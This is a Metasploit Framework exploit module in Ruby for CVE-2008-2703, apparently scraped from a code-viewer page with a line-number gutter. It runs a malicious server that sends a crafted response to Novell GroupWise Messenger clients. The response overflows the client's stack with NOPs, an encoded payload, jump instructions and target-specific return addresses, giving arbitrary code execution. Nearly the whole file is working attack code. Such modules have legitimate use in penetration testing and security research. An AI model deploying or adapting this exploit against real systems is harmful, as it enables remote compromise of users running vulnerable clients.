|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122  |  ## # $Id: groupwisemessenger_client.rb 9583 2010-06-22 19:11:05Z todb $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## class Metasploit3 < Msf::Exploit::Remote  Rank = NormalRanking  include Msf::Exploit::Remote::TcpServer  def initialize(info = {})  super(update_info(info,  'Name' => 'Novell GroupWise Messenger Client Buffer Overflow',  'Description'=> %q{  This module exploits a stack buffer overflow in Novell's GroupWise Messenger Client.  By sending a specially crafted HTTP response, an attacker may be able to execute  arbitrary code.  },  'Author' => 'MC',  'License'=> MSF_LICENSE,  'Version'=> '$Revision: 9583 $',  'References' =>  [  [ 'CVE', '2008-2703' ],  [ 'OSVDB', '46041' ],  [ 'BID', '29602' ],  [ 'URL', 'http://www.infobyte.com.ar/adv/ISR-17.html' ],  ],  'DefaultOptions' =>  {  'EXITFUNC' => 'process',  },  'Payload'=>  {  'Space'=> 750,  'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",  'DisableNops' =>'True',  'StackAdjustment' => -3500,  'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",  'EncoderType' => Msf::Encoder::Type::AlphanumUpper,  },  'Platform' => 'win',  'Targets'=>  [  [ 'Novell GroupWise Messenger 2.0 Client', { 'Ret' => 0x502de115 } ],  [ 'Novell GroupWise Messenger 1.0 Client', { 'Ret' => 0x1000e105 } ],  ],  'Privileged' => false,  'DisclosureDate' => 'Jul 2 2008',  'DefaultTarget'=> 0))  register_options(  [  OptPort.new('SRVPORT', [ true, "The daemon port to listen on.", 8300 ])  ], self.class)  end  def on_client_connect(client)  return if ((p = regenerate_payload(client)) == nil)  client.get_once  date = Time.gm(2008,nil,nil,nil,nil,nil)  rand_1 = rand_text_english(5)  rand_2 = rand_text_english(4)  rand_3 = rand_text_english(rand(8) + 1)  rand_4 = rand_text_alpha_upper(8)  rand_5 = rand_text_english(3)  res ="HTTP/1.0 200\r\n"  res << "Date: #{date}\r\n"  res << "Pragma: no-cache\r\n"  res << "Cache-Control: no-cache\r\n\r\n"  res << "\n\0\20\0\0\0nnmFileTransfer\0\2\0\0\x000\0\n\0\t\0\0\0"  res << "nnmQuery\0\2\0\0\x001\0\n\0\13\0\0\0nnmArchive"  res << "\0\2\0\0\x001\0\n\0\24\0\0\0nnmPasswordRemember"  res << "\0\2\0\0\x001\0\n\0\17\0\0\0nnmMaxContacts"  res << "\0\4\0\0\x00150\0\n\0\16\0\0\0nnmMaxFolders"  res << "\0\3\0\0\x0050\0\n\0\r\0\0\0nnmBroadcast"  res << "\0\2\0\0\x001\0\n\0\23\0\0\0nnmPersonalHistory"  res << "\0\2\0\0\x001\0\n\0\r\0\0\0nnmPrintSave"  res << "\0\2\0\0\x001\0\n\0\17\0\0\0nnmChatService"  res << "\0\2\0\0\x001\0\n\0\3\0\0\0CN\0\a\0\0\0ISR000"  res << "\0\n\0\b\0\0\0Surname\0\6\0\0\0#{rand_1}\0\n\0\n\0\0\0"  res << "Full Name\0\20\0\0\0Client Name\0\n\0\13\0\0\0Given Name"  res << "\0\n\0\0\0Client \0\n\0\r\0\0\0nnmLastLogin\0\13\0\0\x001200112090\0\t\0\30\0\0\0"  res << "NM_A_FA_CLIENT_SETTINGS\0\1\0\0\0\n\0\21\0\0\0Novell.AskToSave"  res << "\0\2\0\0\x001\0\t\0\e\0\0\0NM_A_FA_INFO_DISPLAY_ARRAY"  res << "\0\1\0\0\0\n\0\27\0\0\0Internet EMail Address\0\26\0\0\0#{rand_1}\@#{rand_4}.#{rand_5}.xx"  res << "\0\b\0\16\0\0\0NM_A_UD_BUILD\0\a\0\0\0\n\0\13\0\0\0NM_A_SZ_DN\x001\0\0\0"  res << "CN=ISR000,OU=IT,OU=ISR_,OU=BA,OU=AR,O=#{rand_4}XX"  res << "\0\t\0\24\0\0\0NM_A_FA_AU_SETTINGS\0\1\0\0\0\n\0\22\0\0\0"  res << "nnmClientDownload\0\2\0\0\x000\0\b\0\22\0\0\0NM_A_UD_KEEPALIVE"  res << "\0\n\0\0\0\n\0\24\0\0\0NM_A_SZ_RESULT_CODE\0\2\0\0\x000\0\n\0\27\0\0\0"  res << "NM_A_SZ_TRANSACTION_ID\0\2\0\0\x001\0\0"  res << "HTTP/1.0 200\r\n"  res << "Date: #{date}\r\n"  res << "Pragma: no-cache\r\n"  res << "Cache-Control: no-cache\r\n\r\n"  res << "\n\0\24\0\0\0NM_A_SZ_RESULT_CODE\0\2\0\0\x000\0\n\0\27\0\0\0"  res << "NM_A_SZ_TRANSACTION_ID\0\2\0\0\x00#{rand_2}\0\0"  res << make_nops(805 - payload.encoded.length) + payload.encoded  res << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')  res << [0xe9, -800].pack('CV') + rand_text_english(5000 - payload.encoded.length)  print_status("Sending #{self.name} to #{client.peerhost}:#{client.peerport}...")  client.put(res)  handler(client)  select(nil,nil,nil,2)  service.close_client(client)  end end  |